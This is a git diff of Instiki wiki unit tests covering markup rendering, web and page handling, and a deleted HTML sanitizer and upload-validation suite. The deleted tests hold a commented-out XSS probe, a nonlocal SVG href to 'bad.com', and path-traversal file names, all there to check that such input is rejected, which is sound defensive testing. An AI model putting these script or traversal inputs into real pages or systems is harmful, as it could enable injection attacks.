+	    '<p>This <img src="http://hobix.com/sample.jpg" alt="" /> is a Textile image link.</p>', 
+	    'This !http://hobix.com/sample.jpg! is a Textile image link.')
+  end
+
+  def test_content_with_inlined_img_tag
+	assert_markup_parsed_as( 
+	    '<p>This <img src="http://hobix.com/sample.jpg" alt="" /> is an inline image link.</p>', 
+	    'This <img src="http://hobix.com/sample.jpg" alt="" /> is an inline image link.')
+	assert_markup_parsed_as( 
+	    '<p>This <IMG SRC="http://hobix.com/sample.jpg" alt=""> is an inline image link.</p>', 
+	    'This <IMG SRC="http://hobix.com/sample.jpg" alt=""> is an inline image link.')
+  end
+
+  def test_nowiki_tag
+	assert_markup_parsed_as( 
+	    '<p>Do not mark up [[this text]] or http://www.thislink.com.</p>', 
+	    'Do not mark up <nowiki>[[this text]]</nowiki> ' +
+	    'or <nowiki>http://www.thislink.com</nowiki>.')
+  end
+
+  def test_multiline_nowiki_tag
+	assert_markup_parsed_as( 
+        "<p>Do not mark \n up [[this text]] \nand http://this.url.com  but markup " +
+        '<span class="newWikiWord">this<a href="../show/this">?</a></span></p>',
+        "Do not <nowiki>mark \n up [[this text]] \n" +
+	    "and http://this.url.com </nowiki> but markup [[this]]")
+  end
+
+  def test_content_with_bracketted_wiki_word
+	@web.brackets_only = true
+	assert_markup_parsed_as( 
+        '<p>This is a WikiWord and a tricky name <span class="newWikiWord">' +
+	    'Sperberg-McQueen<a href="../show/Sperberg-McQueen">?</a></span>.</p>', 
+	    'This is a WikiWord and a tricky name [[Sperberg-McQueen]].')
+  end
+
+  def test_content_for_export
+    assert_equal '<p><span class="newWikiWord">His Way</span> would be ' +
+        '<a class="existingWikiWord" href="MyWay.html">My Way</a> in kinda ' +
+        '<a class="existingWikiWord" href="ThatWay.html">That Way</a> in ' +
+        '<span class="newWikiWord">His Way</span> though ' +
+        '<a class="existingWikiWord" href="MyWay.html">My Way</a> OverThere&#8212;see ' +
+        '<a class="existingWikiWord" href="SmartEngine.html">Smart Engine</a> in that ' +
+        '<span class="newWikiWord">Smart Engine GUI</span></p>', 
+        @revision.display_content_for_export
+  end
+
+  def test_double_replacing
+    @revision.content = "VersionHistory\r\n\r\ncry VersionHistory"
+    assert_equal '<p><span class="newWikiWord">Version History' +
+        "<a href=\"../show/VersionHistory\">?</a></span></p>\n\n\n\t<p>cry " +
+        '<span class="newWikiWord">Version History<a href="../show/VersionHistory">?</a>' +
+        '</span></p>', 
+        @revision.display_content
+
+    @revision.clear_display_cache
+
+    @revision.content = "f\r\nVersionHistory\r\n\r\ncry VersionHistory"
+    assert_equal "<p>f<br /><span class=\"newWikiWord\">Version History" +
+        "<a href=\"../show/VersionHistory\">?</a></span></p>\n\n\n\t<p>cry " +
+        "<span class=\"newWikiWord\">Version History<a href=\"../show/VersionHistory\">?</a>" +
+        "</span></p>", 
+        @revision.display_content
+  end  
+
+  def test_difficult_wiki_words
+    @revision.content = "[[It's just awesome GUI!]]"
+    assert_equal "<p><span class=\"newWikiWord\">It's just awesome GUI!" +
+        "<a href=\"../show/It%27s+just+awesome+GUI%21\">?</a></span></p>", 
+        @revision.display_content
+  end
+  
+  def test_revisions_diff
+
+    @page.revisions = [
+        Revision.new(@page, 0, 'What a blue and lovely morning', 
+            Time.local(2004, 4, 4, 16, 50), 'DavidHeinemeierHansson'),
+        Revision.new(@page, 1, 'What a red and lovely morning today', 
+            Time.local(2004, 4, 4, 16, 50), 'DavidHeinemeierHansson')
+      ]
+
+    assert_equal "<p>What a <del class=\"diffmod\">blue </del><ins class=\"diffmod\">red " +
+        "</ins>and lovely <del class=\"diffmod\">morning</del><ins class=\"diffmod\">morning " +
+        "today</ins></p>", @page.revisions.last.display_diff
+  end
+
+  def test_link_to_file
+  	assert_markup_parsed_as( 
+  	    '<p><span class="newWikiWord">doc.pdf<a href="../file/doc.pdf">?</a></span></p>',
+	    '[[doc.pdf:file]]')
+  end
+
+  def test_link_to_pic
+    FileUtils.mkdir_p "#{RAILS_ROOT}/storage/test/wiki1"
+    FileUtils.rm(Dir["#{RAILS_ROOT}/storage/test/wiki1/*"])
+    @wiki.file_yard(@web).upload_file('square.jpg', StringIO.new(''))
+  	assert_markup_parsed_as(
+  	    '<p><img alt="Square" src="../pic/square.jpg" /></p>',
+	    '[[square.jpg|Square:pic]]')
+  	assert_markup_parsed_as( 
+  	    '<p><img alt="square.jpg" src="../pic/square.jpg" /></p>',
+	    '[[square.jpg:pic]]')
+  end
+
+  def test_link_to_non_existant_pic
+  	assert_markup_parsed_as(
+  	    '<p><span class="newWikiWord">NonExistant<a href="../pic/NonExistant.jpg">?</a>' +
+  	    '</span></p>',
+        '[[NonExistant.jpg|NonExistant:pic]]')
+  	assert_markup_parsed_as(
+  	    '<p><span class="newWikiWord">NonExistant.jpg<a href="../pic/NonExistant.jpg">?</a>' +
+  	    '</span></p>',
+        '[[NonExistant.jpg:pic]]')
+  end
+
+  def test_wiki_link_with_colon
+  	assert_markup_parsed_as(
+  	  '<p><span class="newWikiWord">With:Colon<a href="../show/With%3AColon">?</a></span></p>',
+  	  '[[With:Colon]]')
+  end
+
+  # TODO Remove the leading underscores from this test when upgrading to RedCloth 3.0.1; 
+  # also add a test for the "Unhappy Face" problem (another interesting RedCloth bug)
+  def test_list_with_tildas
+    list_with_tildas = <<-EOL
+      * "a":~b
+      * c~ d
+    EOL
+
+    assert_markup_parsed_as(
+        "<ul>\n\t<li><a href=\"~b\">a</a></li>\n\t\t<li>c~ d</li>\n\t</ul>",
+        list_with_tildas)
+  end
+
+  def test_textile_image_in_mixed_wiki
+    @web.markup = :mixed
+    assert_markup_parsed_as(
+      "<p><img src=\"http://google.com\" alt=\"\" />\nss</p>",
+      "!http://google.com!\r\nss")
+  end
+
+
+  def assert_markup_parsed_as(expected_output, input)
+    revision = Revision.new(@page, 1, input, Time.local(2004, 4, 4, 16, 50), 'AnAuthor')
+    assert_equal expected_output, revision.display_content, 'Textile output not as expected'
+  end
+
+end
diff --git a/test/unit/sanitizer_test.rb b/test/unit/sanitizer_test.rb
deleted file mode 100644
index a5cea1bf..00000000
--- a/test/unit/sanitizer_test.rb
+++ /dev/null
@@ -1,157 +0,0 @@
-#!/usr/bin/env ruby
-#coding: ascii-8bit
-
-require File.expand_path(File.join(File.dirname(__FILE__), '/../test_helper'))
-require 'sanitizer'
-require 'json'
-require 'instiki_stringsupport'
-
-class SanitizerTest < Test::Unit::TestCase
-
-  include Sanitizer
-  
-  def setup
-
-  end
-
-  def do_sanitize_xhtml stream
-    xhtml_sanitize(stream)
-  end
-
-  def check_sanitization(input, htmloutput, xhtmloutput, rexmloutput)
-    assert_equal xhtmloutput.as_bytes, do_sanitize_xhtml(input).as_bytes
-  end
-
-  def test_sanitize_named_entities
-    input = '<p>Greek &phis; &phi;, double-struck &Aopf;, numeric &nbsp; &#xA0; &#x1D538; &#8279;, uppercase &TRADE; &LT;</p>'
-    output = "<p>Greek \317\225 \317\206, double-struck \360\235\224\270, numeric \302\240 \302\240 \360\235\224\270 \342\201\227, uppercase \342\204\242 &lt;</p>"
-    output2 = "<p>Greek \317\225 \317\206, double-struck \360\235\224\270, numeric \302\240 &#xA0; &#x1D538; &#8279;, uppercase \342\204\242 &lt;</p>"
-    check_sanitization(input, output, output, output)
-    assert_equal(output2, input.to_utf8.as_bytes)
-  end
-
-  def test_sanitize_malformed_utf8
-    input = "<p>\357elephant &AMP; \302ivory</p>".purify
-    output = "".respond_to?(:force_encoding) ? "<p>elephant &amp; ivory</p>" : "<p>ephant &amp; vory</p>"
-    check_sanitization(input, output, output, output)
-  end    
-
-  Sanitizer::ALLOWED_ELEMENTS.each do |tag_name|
-    define_method "test_should_allow_#{tag_name}_tag" do
-      input       = "<#{tag_name} title='1'>foo <bad>bar</bad> baz</#{tag_name}>"
-      htmloutput  = "<#{tag_name.downcase} title='1'>foo &lt;bad&gt;bar&lt;/bad&gt; baz</#{tag_name.downcase}>"
-      xhtmloutput = "<#{tag_name} title='1'>foo &lt;bad&gt;bar&lt;/bad&gt; baz</#{tag_name}>"
-      rexmloutput = xhtmloutput
-      
-      if VOID_ELEMENTS.include?(tag_name)
-        htmloutput = "<#{tag_name} title='1'/>foo &lt;bad&gt;bar&lt;/bad&gt; baz"
-        xhtmloutput = htmloutput
-        htmloutput += '<br/>' if tag_name == 'br'
-        rexmloutput =  "<#{tag_name} title='1' />"
-      end
-      check_sanitization(input, htmloutput, xhtmloutput, rexmloutput)
-    end
-  end
-
-  Sanitizer::ALLOWED_ELEMENTS.each do |tag_name|
-    define_method "test_should_forbid_#{tag_name.upcase}_tag" do
-      input = "<#{tag_name.upcase} title='1'>foo <bad>bar</bad> baz</#{tag_name.upcase}>"
-      output = "&lt;#{tag_name.upcase} title=\"1\"&gt;foo &lt;bad&gt;bar&lt;/bad&gt; baz&lt;/#{tag_name.upcase}&gt;"
-      xhtmloutput = "&lt;#{tag_name.upcase} title='1'&gt;foo &lt;bad&gt;bar&lt;/bad&gt; baz&lt;/#{tag_name.upcase}&gt;"
-      check_sanitization(input, output, xhtmloutput, output)
-    end
-  end
-
-  Sanitizer::ALLOWED_ATTRIBUTES.each do |attribute_name|
-    next if attribute_name == 'style'
-    define_method "test_should_allow_#{attribute_name}_attribute" do
-      input = "<p #{attribute_name}='foo'>foo <bad>bar</bad> baz</p>"
-      output = "<p #{attribute_name}='foo'>foo &lt;bad&gt;bar&lt;/bad&gt; baz</p>"
-      htmloutput = "<p #{attribute_name.downcase}='foo'>foo &lt;bad&gt;bar&lt;/bad&gt; baz</p>"
-      check_sanitization(input, htmloutput, output, output)
-    end
-  end
-
-  Sanitizer::ALLOWED_ATTRIBUTES.each do |attribute_name|
-    define_method "test_should_forbid_#{attribute_name.upcase}_attribute" do
-      input = "<p #{attribute_name.upcase}='display: none;'>foo <bad>bar</bad> baz</p>"
-      output =  "<p>foo &lt;bad&gt;bar&lt;/bad&gt; baz</p>"
-      check_sanitization(input, output, output, output)
-    end
-  end
-
-  Sanitizer::ALLOWED_PROTOCOLS.each do |protocol|
-    define_method "test_should_allow_#{protocol}_uris" do
-      input = %(<a href="#{protocol}">foo</a>)
-      output = "<a href='#{protocol}'>foo</a>"
-      check_sanitization(input, output, output, output)
-    end
-  end
-
-  Sanitizer::ALLOWED_PROTOCOLS.each do |protocol|
-    define_method "test_should_allow_uppercase_#{protocol}_uris" do
-      input = %(<a href="#{protocol.upcase}">foo</a>)
-      output = "<a href='#{protocol.upcase}'>foo</a>"
-      check_sanitization(input, output, output, output)
-    end
-  end
-
-  Sanitizer::SVG_ALLOW_LOCAL_HREF.each do |tag_name|
-    next unless Sanitizer::ALLOWED_ELEMENTS.include?(tag_name)
-    define_method "test_#{tag_name}_should_allow_local_href" do
-      input = %(<#{tag_name} xlink:href="#foo"/>)
-      output = "<#{tag_name.downcase} xlink:href='#foo'/>"
-      xhtmloutput = "<#{tag_name} xlink:href='#foo'/>"
-      check_sanitization(input, output, xhtmloutput, xhtmloutput)
-    end
-
-    define_method "test_#{tag_name}_should_allow_local_href_with_newline" do
-      input = %(<#{tag_name} xlink:href="\n#foo"/>)
-      output = "<#{tag_name.downcase} xlink:href='\n#foo'/>"
-      xhtmloutput = "<#{tag_name} xlink:href='\n#foo'/>"
-      check_sanitization(input, output, xhtmloutput, xhtmloutput)
-    end
-
-    define_method "test_#{tag_name}_should_forbid_nonlocal_href" do
-      input = %(<#{tag_name} xlink:href="http://bad.com/foo"/>)
-      output = "<#{tag_name.downcase}/>"
-      xhtmloutput = "<#{tag_name}/>"
-      check_sanitization(input, output, xhtmloutput, xhtmloutput)
-    end
-
-    define_method "test_#{tag_name}_should_forbid_nonlocal_href_with_newline" do
-      input = %(<#{tag_name} xlink:href="\nhttp://bad.com/foo"/>)
-      output = "<#{tag_name.downcase}/>"
-      xhtmloutput = "<#{tag_name}/>"
-      check_sanitization(input, output, xhtmloutput, xhtmloutput)
-    end
-  end
-
-  def test_should_handle_astral_plane_characters
-    input = "<p>&#x1d4b5; &#x1d538;</p>"
-    output = "<p>\360\235\222\265 \360\235\224\270</p>"
-    check_sanitization(input, output, output, output)
-
-    input = "<p><tspan>\360\235\224\270</tspan> a</p>"
-    output = "<p><tspan>\360\235\224\270</tspan> a</p>"
-    check_sanitization(input, output, output, output)
-  end
-
-# This affects only NS4. Is it worth fixing?
-#  def test_javascript_includes
-#    input = %(<div size="&{alert('XSS')}">foo</div>)
-#    output = "<div>foo</div>"    
-#    check_sanitization(input, output, output, output)
-#  end
-
-    JSON::parse(open(File.expand_path(File.join(File.dirname(__FILE__), '/../sanitizer.dat'))).read).each do |test|
-      define_method "test_#{test['name']}" do
-        check_sanitization(
-          test['input'],
-          test['output'],
-          test['xhtml'] || test['output'],
-          test['rexml'] || test['output']
-        )
-      end
-    end
-end
diff --git a/test/unit/uri_test.rb b/test/unit/uri_test.rb
index 2088ab9c..9cef4a23 100755
--- a/test/unit/uri_test.rb
+++ b/test/unit/uri_test.rb
@@ -1,6 +1,6 @@
-#!/usr/bin/env ruby
+#!/bin/env ruby -w
 
-require File.expand_path(File.dirname(__FILE__) + '/../test_helper')
+require File.dirname(__FILE__) + '/../test_helper'
 require 'chunks/uri'
 
 class URITest < Test::Unit::TestCase
diff --git a/test/unit/web_test.rb b/test/unit/web_test.rb
old mode 100644
new mode 100755
index 3b95a30e..4cd15411
--- a/test/unit/web_test.rb
+++ b/test/unit/web_test.rb
@@ -1,10 +1,26 @@
-require File.expand_path(File.dirname(__FILE__) + '/../test_helper')
+#!/bin/env ruby -w
 
-class WebTest < ActiveSupport::TestCase
-  fixtures :system, :webs, :pages, :revisions, :wiki_references
-  
+require File.dirname(__FILE__) + '/../test_helper'
+require 'wiki_service'
+
+class WebTest < Test::Unit::TestCase
   def setup
-    @web = webs(:instiki)
+    @web = Web.new nil, 'Instiki', 'instiki'
+  end
+  
+  def test_wiki_word_linking
+    @web.add_page('SecondPage', 'Yo, yo. Have you EverBeenHated', 
+                   Time.now, 'DavidHeinemeierHansson')
+    
+    assert_equal('<p>Yo, yo. Have you <span class="newWikiWord">Ever Been Hated' + 
+        '<a href="../show/EverBeenHated">?</a></span></p>', 
+    @web.pages["SecondPage"].display_content)
+    
+    @web.add_page('EverBeenHated', 'Yo, yo. Have you EverBeenHated', Time.now, 
+                  'DavidHeinemeierHansson')
+    assert_equal('<p>Yo, yo. Have you <a class="existingWikiWord" ' +
+        'href="../show/EverBeenHated">Ever Been Hated</a></p>', 
+    @web.pages['SecondPage'].display_content)
   end
   
   def test_pages_by_revision
@@ -14,12 +30,12 @@ class WebTest < ActiveSupport::TestCase
   
   def test_pages_by_match
     add_sample_pages
-    assert_equal 3, @web.select { |page| page.content =~ /me/i }.length
+    assert_equal 2, @web.select { |page| page.content =~ /me/i }.length
     assert_equal 1, @web.select { |page| page.content =~ /Who/i }.length
     assert_equal 0, @web.select { |page| page.content =~ /none/i }.length
   end
   
-  def test_002_references
+  def test_references
     add_sample_pages
     assert_equal 1, @web.select.pages_that_reference('EverBeenHated').length
     assert_equal 0, @web.select.pages_that_reference('EverBeenInLove').length
@@ -27,93 +43,123 @@ class WebTest < ActiveSupport::TestCase
   
   def test_delete
     add_sample_pages
-    assert_equal 3, @web.pages.length
-    @web.remove_pages([ @web.page('EverBeenInLove') ])
-    assert_equal 2, @web.pages(true).length
+    assert_equal 2, @web.pages.length
+    @web.remove_pages([ @web.pages['EverBeenInLove'] ])
+    assert_equal 1, @web.pages.length
   end
   
-  def test_initialize  
-    web = Web.new(:name => 'Wiki2', :address => 'wiki2', :password => '123')
-  
+  def test_make_link
+    add_sample_pages
+    
+    existing_page_wiki_url = 
+        '<a class="existingWikiWord" href="../show/EverBeenInLove">Ever Been In Love</a>'
+    existing_page_published_url = 
+        '<a class="existingWikiWord" href="../published/EverBeenInLove">Ever Been In Love</a>'
+    existing_page_static_url = 
+        '<a class="existingWikiWord" href="EverBeenInLove.html">Ever Been In Love</a>'
+    new_page_wiki_url = 
+        '<span class="newWikiWord">Unknown Word<a href="../show/UnknownWord">?</a></span>'
+    new_page_published_url = 
+    new_page_static_url =
+        '<span class="newWikiWord">Unknown Word</span>'
+    
+    # no options
+    assert_equal existing_page_wiki_url, @web.make_link('EverBeenInLove')
+
+    # :mode => :export
+    assert_equal existing_page_static_url, @web.make_link('EverBeenInLove', nil, :mode => :export)
+
+    # :mode => :publish
+    assert_equal existing_page_published_url, 
+        @web.make_link('EverBeenInLove', nil, :mode => :publish)
+
+    # new page, no options
+    assert_equal new_page_wiki_url, @web.make_link('UnknownWord')
+
+    # new page, :mode => :export
+    assert_equal new_page_static_url, @web.make_link('UnknownWord', nil, :mode => :export)
+
+    # new page, :mode => :publish
+    assert_equal new_page_published_url, @web.make_link('UnknownWord', nil, :mode => :publish)
+
+    # Escaping special characters in the name
+    assert_equal(
+        '<span class="newWikiWord">Smith &amp; Wesson<a href="../show/Smith+%26+Wesson">?</a></span>', 
+        @web.make_link('Smith & Wesson'))
+
+    # optionally using text as the link text
+    assert_equal(
+      existing_page_published_url.sub(/>Ever Been In Love</, ">Haven't you ever been in love?<"),
+      @web.make_link('EverBeenInLove', "Haven't you ever been in love?", :mode => :publish))
+
+  end
+
+  def test_initialize
+    wiki_stub = Object.new
+
+    web = Web.new(wiki_stub, 'Wiki2', 'wiki2', '123')
+
+    assert_equal wiki_stub, web.wiki
     assert_equal 'Wiki2', web.name
     assert_equal 'wiki2', web.address
     assert_equal '123', web.password
-  
+
     # new web should be set for maximum features enabled
-    assert_equal :markdownMML, web.markup
+    assert_equal :textile, web.markup
     assert_equal '008B26', web.color
-    assert !web.safe_mode?
-    assert_equal([], web.pages)
-    assert web.allow_uploads?
+    assert !web.safe_mode
+    assert_equal({}, web.pages)
+    assert web.allow_uploads
+    assert_equal wiki_stub, web.wiki
     assert_nil web.additional_style
-    assert !web.published?
-    assert !web.brackets_only?
-    assert !web.count_pages?
+    assert !web.published
+    assert !web.brackets_only
+    assert !web.count_pages
+    assert web.allow_uploads
     assert_equal 100, web.max_upload_size
   end
-  
+
   def test_initialize_invalid_name
+    wiki_stub = Object.new
     assert_raises(Instiki::ValidationError) { 
-      Web.create(:name => 'Wiki2', :address => "wiki\234", :password => '123') 
-    }
-    assert_raises(Instiki::ValidationError) { 
-      Web.create(:name => 'Wiki2', :address => "web_list", :password => '123') 
-    }
-    assert_raises(Instiki::ValidationError) { 
-      Web.create(:name => 'Wiki2', :address => "", :password => '123') 
-    }
-    assert_raises(Instiki::ValidationError) { 
-      Web.create!(:name => 'Wiki2', :address => "", :password => '123') 
-      Web.create(:name => 'Wiki2', :address => "", :password => '123') 
+      Web.new(wiki_stub, 'Wiki2', "wiki\234", '123') 
     }
   end
-  
+
   def test_new_page_linked_from_mother_page
     # this was a bug in revision 204
     home = @web.add_page('HomePage', 'This page refers to AnotherPage', 
-        Time.local(2004, 4, 4, 16, 50), 'Alexey Verkhovsky', x_test_renderer)
+        Time.local(2004, 4, 4, 16, 50), 'Alexey Verkhovsky')
     @web.add_page('AnotherPage', 'This is \AnotherPage', 
-        Time.local(2004, 4, 4, 16, 51), 'Alexey Verkhovsky', x_test_renderer)
-
-    @web.pages(true)
+        Time.local(2004, 4, 4, 16, 51), 'Alexey Verkhovsky')
+    
     assert_equal [home], @web.select.pages_that_link_to('AnotherPage')
   end
 
-  def test_001_orphaned_pages
+  def test_orphaned_pages
     add_sample_pages
     home = @web.add_page('HomePage', 
         'This is a home page, it should not be an orphan',
-        Time.local(2004, 4, 4, 16, 50), 'AlexeyVerkhovsky', x_test_renderer)
+        Time.local(2004, 4, 4, 16, 50), 'AlexeyVerkhovsky')
     author = @web.add_page('AlexeyVerkhovsky', 
         'This is an author page, it should not be an orphan',
-        Time.local(2004, 4, 4, 16, 50), 'AlexeyVerkhovsky', x_test_renderer)
+        Time.local(2004, 4, 4, 16, 50), 'AlexeyVerkhovsky')
     self_linked = @web.add_page('SelfLinked', 
-        "I am SelfLinked and link to EverBeenInLove\ncategory: fubar",
-        Time.local(2004, 4, 4, 16, 50), 'AnonymousCoward', x_test_renderer)
+        'I am me SelfLinked and link to EverBeenInLove',
+        Time.local(2004, 4, 4, 16, 50), 'AnonymousCoward')
         
     # page that links to itself, and nobody else links to it must be an orphan
     assert_equal ['EverBeenHated', 'SelfLinked'], 
        @web.select.orphaned_pages.collect{ |page| page.name }.sort
-    pages_in_category = @web.select.pages_in_category('fubar')
-    orphaned_pages = @web.select.orphaned_pages
-    assert_equal ['SelfLinked'], 
-       (pages_in_category & orphaned_pages).collect{ |page| page.name }.sort
   end  
 
-  def test_page_names_by_author
-    page_names_by_author = webs(:test_wiki).page_names_by_author
-    assert_equal %w(AnAuthor DavidHeinemeierHansson Guest Me TreeHugger),
-        page_names_by_author.keys.sort
-    assert_equal %w(FirstPage HomePage), page_names_by_author['DavidHeinemeierHansson']
-    assert_equal %w(Oak), page_names_by_author['TreeHugger']
-  end
 
   private
-  
+
   def add_sample_pages
-    @in_love = @web.add_page('EverBeenInLove', "Who am I me\ncategory: fubar", 
-        Time.local(2004, 4, 4, 16, 50), 'DavidHeinemeierHansson', x_test_renderer)
+    @in_love = @web.add_page('EverBeenInLove', 'Who am I me', 
+        Time.local(2004, 4, 4, 16, 50), 'DavidHeinemeierHansson')
     @hated = @web.add_page('EverBeenHated', 'I am me EverBeenHated', 
-        Time.local(2004, 4, 4, 16, 51), 'DavidHeinemeierHansson', x_test_renderer)
+        Time.local(2004, 4, 4, 16, 51), 'DavidHeinemeierHansson')
   end
 end
diff --git a/test/unit/wiki_file_test.rb b/test/unit/wiki_file_test.rb
deleted file mode 100644
index a2041a07..00000000
--- a/test/unit/wiki_file_test.rb
+++ /dev/null
@@ -1,84 +0,0 @@
-require File.expand_path(File.dirname(__FILE__) + '/../test_helper')
-require 'fileutils'
-
-class WikiFileTest < ActiveSupport::TestCase
-  include FileUtils
-  fixtures :webs, :pages, :revisions, :system, :wiki_references
-
-  def setup
-    @web = webs(:test_wiki)
-    mkdir_p("#{RAILS_ROOT}/webs/wiki1/files/")
-    rm_rf("#{RAILS_ROOT}/webs/wiki1/files/*")
-    WikiFile.delete_all
-  end
-
-  def test_basic_store_and_retrieve_ascii_file
-    @web.wiki_files.create(:file_name => 'binary_file', :description => 'Binary file', :content => "\001\002\003")
-    binary = WikiFile.find_by_file_name('binary_file')
-    assert_equal "\001\002\003", binary.content
-  end
-
-  def test_basic_store_and_retrieve_binary_file
-    @web.wiki_files.create(:file_name => 'text_file', :description => 'Text file', :content => "abc")
-    text = WikiFile.find_by_file_name('text_file')
-    assert_equal "abc", text.content
-  end
-
-  def test_storing_an_image
-    rails_gif = File.open("#{RAILS_ROOT}/test/fixtures/rails.gif", 'rb') { |f| f.read }
-    assert_equal rails_gif.size, File.size("#{RAILS_ROOT}/test/fixtures/rails.gif")
-
-    @web.wiki_files.create(:file_name => 'rails.gif', :description => 'Rails logo', :content => rails_gif)
-
-    rails_gif_from_db = WikiFile.find_by_file_name('rails.gif')
-    assert_equal rails_gif.size, rails_gif_from_db.content.size
-    assert_equal rails_gif, rails_gif_from_db.content
-  end
-  
-  def test_mandatory_fields_validations
-    assert_validation(:file_name, '', :fail)
-    assert_validation(:file_name, nil, :fail)
-    assert_validation(:content, '', :fail)
-    assert_validation(:content, nil, :fail)
-  end
-  
-  def test_upload_size_validation
-    assert_validation(:content, 'a' * 100.kilobytes, :pass)
-    assert_validation(:content, 'a' * (100.kilobytes + 1), :fail)
-  end
-  
-  def test_file_name_size_validation
-    assert_validation(:file_name, '', :fail)
-    assert_validation(:file_name, 'a', :pass)
-    assert_validation(:file_name, 'a' * 50, :pass)
-    assert_validation(:file_name, 'a' * 51, :fail)
-  end
-  
-  def test_file_name_pattern_validation
-    assert_validation(:file_name, ".. Accep-table File.name", :pass)
-    assert_validation(:file_name, "/bad", :fail)
-    assert_validation(:file_name, "~bad", :fail)
-    assert_validation(:file_name, "..\bad", :fail)
-    assert_validation(:file_name, "\001bad", :fail)
-    assert_validation(:file_name, ".", :fail)
-    assert_validation(:file_name, "..", :fail)
-  end
-
-  def test_find_by_file_name
-    assert_equal @file1, WikiFile.find_by_file_name('file1.txt')
-    assert_nil WikiFile.find_by_file_name('unknown_file')
-  end
-
-  def assert_validation(field, value, expected_result)
-    values = {:file_name => '0', :description => '0', :content =>  '0'}
-    raise "WikiFile has no attribute named #{field.inspect}" unless values.has_key?(field)
-    values[field] = value
-
-    new_object = @web.wiki_files.create(values)
-    if expected_result == :pass then assert(new_object.valid?, new_object.errors.inspect)
-    elsif expected_result == :fail then assert(!new_object.valid?)
-    else raise "Unknown value of expected_result: #{expected_result.inspect}"
-    end
-  end
-
-end
diff --git a/test/unit/wiki_service_test.rb b/test/unit/wiki_service_test.rb
new file mode 100755
index 00000000..c02c61ff
--- /dev/null
+++ b/test/unit/wiki_service_test.rb
@@ -0,0 +1,129 @@
+#!/bin/env ruby -w
+
+require File.dirname(__FILE__) + '/../test_helper'
+require 'wiki_service'
+require 'fileutils'
+
+class WikiServiceTest < Test::Unit::TestCase
+
+  # Clean the test storage directory before the run
+  unless defined? @@storage_cleaned
+    FileUtils.rm(Dir[RAILS_ROOT + '/storage/test/*.command_log'])
+    FileUtils.rm(Dir[RAILS_ROOT + '/storage/test/*.snapshot'])
+    FileUtils.rm(Dir[RAILS_ROOT + '/storage/test/*.tex'])
+    FileUtils.rm(Dir[RAILS_ROOT + '/storage/test/*.zip'])
+    FileUtils.rm(Dir[RAILS_ROOT + '/storage/test/*.pdf'])
+    FileUtils.rm(Dir[RAILS_ROOT + '/storage/test/instiki/*'])
+    @@cleaned_storage = true
+    WikiService.instance.setup('pswd', 'Wiki', 'wiki')
+  end
+
+  def setup
+    @s = WikiService.instance
+    @s.create_web 'Instiki', 'instiki'
+    @web = @s.webs['instiki']
+  end
+
+  def teardown
+    @s.delete_web 'instiki'
+  end
+
+  def test_read_write_page
+    @s.write_page 'instiki', 'FirstPage', "Electric shocks, I love 'em", 
+        Time.now, 'DavidHeinemeierHansson'
+    assert_equal "Electric shocks, I love 'em", @s.read_page('instiki', 'FirstPage').content
+  end
+
+  def test_read_only_operations
+    @s.write_page 'instiki', 'TestReadOnlyOperations', 'Read only operations dont change the' +
+        'state of any object, and therefore should not be logged by Madeleine!', 
+        Time.now, 'AlexeyVerkhovsky'
+
+    assert_doesnt_change_state_or_log :authenticate, 'pswd'
+    assert_doesnt_change_state_or_log :read_page, 'instiki', 'TestReadOnlyOperations'
+    assert_doesnt_change_state_or_log :setup?
+    assert_doesnt_change_state_or_log :webs
+    
+    @s.write_page 'instiki', 'FirstPage', "Electric shocks, I love 'em", 
+        Time.now, 'DavidHeinemeierHansson'
+    assert_equal "Electric shocks, I love 'em", @s.read_page('instiki', 'FirstPage').content
+  end
+
+  def test_aborted_transaction
+    @s.write_page 'instiki', 'FirstPage', "Electric shocks, I love 'em", 
+        10.minutes.ago, 'DavidHeinemeierHansson'
+
+    assert_doesnt_change_state('revise_page with unchanged content') {
+      begin
+        @s.revise_page 'instiki', 'FirstPage', "Electric shocks, I love 'em", 
+            Time.now, 'DavidHeinemeierHansson'
+        fail 'Expected Instiki::ValidationError not raised'
+      rescue Instiki::ValidationError
+      end
+    }
+  end
+
+  def test_file_yard
+    file_yard = @s.file_yard(@web)
+    assert_equal FileYard, file_yard.class
+    assert_equal(@s.storage_path + '/instiki', file_yard.files_path)
+  end
+
+  def test_edit_web_validations
+    another_web = @s.create_web 'Another', 'another'
+    
+    # try to rename instiki web to another (which is the name of an already existing one)
+    assert_raises(Instiki::ValidationError) {
+      @s.edit_web('instiki', 'another', @web.name, @web.markup, @web.color, @web.additional_style)
+    }
+
+    assert_raises(Instiki::ValidationError) {
+      @s.edit_web('nonexistant', 'another', @web.name, @web.markup, @web.color, @web.additional_style)
+    }
+  end
+
+
+  # Checks that a method call or a block doesn;t change the persisted state of the wiki
+  # Usage:
+  #   assert_doesnt_change_state :read_page, 'instiki', 'TestReadOnlyOperations'
+  # or
+  #   assert_doesnt_change_state {|wiki| wiki.webs}
+
+  def assert_doesnt_change_state(method, *args, &block)
+    _assert_doesnt_change_state(including_command_log = false, method, *args, &block)
+  end
+  
+  # Same as assert_doesnt_change_state, but also asserts that no vommand log is generated
+  def assert_doesnt_change_state_or_log(method, *args, &block)
+    _assert_doesnt_change_state(including_command_log = true, method, *args, &block)
+  end
+
+  private
+
+  def _assert_doesnt_change_state(including_log, method, *args)
+    WikiService.snapshot
+    last_snapshot_before = last_snapshot
+
+    if block_given?
+      yield @s
+    else
+      @s.send(method, *args)
+    end
+
+    if including_log
+      command_logs = Dir[RAILS_ROOT + 'storage/test/*.command_log']
+      assert command_logs.empty?, "Calls to #{method} should not be logged"
+    end
+
+    last_snapshot_after = last_snapshot
+    assert last_snapshot_before == last_snapshot_after,
+        'Calls to #{method} should not change the state of any persisted object' 
+  end
+
+  def last_snapshot
+    snapshots = Dir[RAILS_ROOT + '/storage/test/*.snapshot']
+    assert !snapshots.empty?, "No snapshots found at #{RAILS_ROOT}/storage/test/"
+    File.read(snapshots.last)
+  end
+
+end
diff --git a/test/unit/wiki_words_test.rb b/test/unit/wiki_words_test.rb
index 79ae28df..a1aa1ff9 100755
--- a/test/unit/wiki_words_test.rb
+++ b/test/unit/wiki_words_test.rb
@@ -1,7 +1,7 @@
-#!/usr/bin/env ruby
-#coding: utf-8
+#!/bin/env ruby -w
 
-require File.expand_path(File.dirname(__FILE__) + '/../test_helper')
+require File.dirname(__FILE__) + '/../test_helper'
+require 'wiki_words'
 
 class WikiWordsTest < Test::Unit::TestCase
   
@@ -11,8 +11,4 @@ class WikiWordsTest < Test::Unit::TestCase
     assert_equal "Æe ÅØle Øen", WikiWords.separate("ÆeÅØleØen")
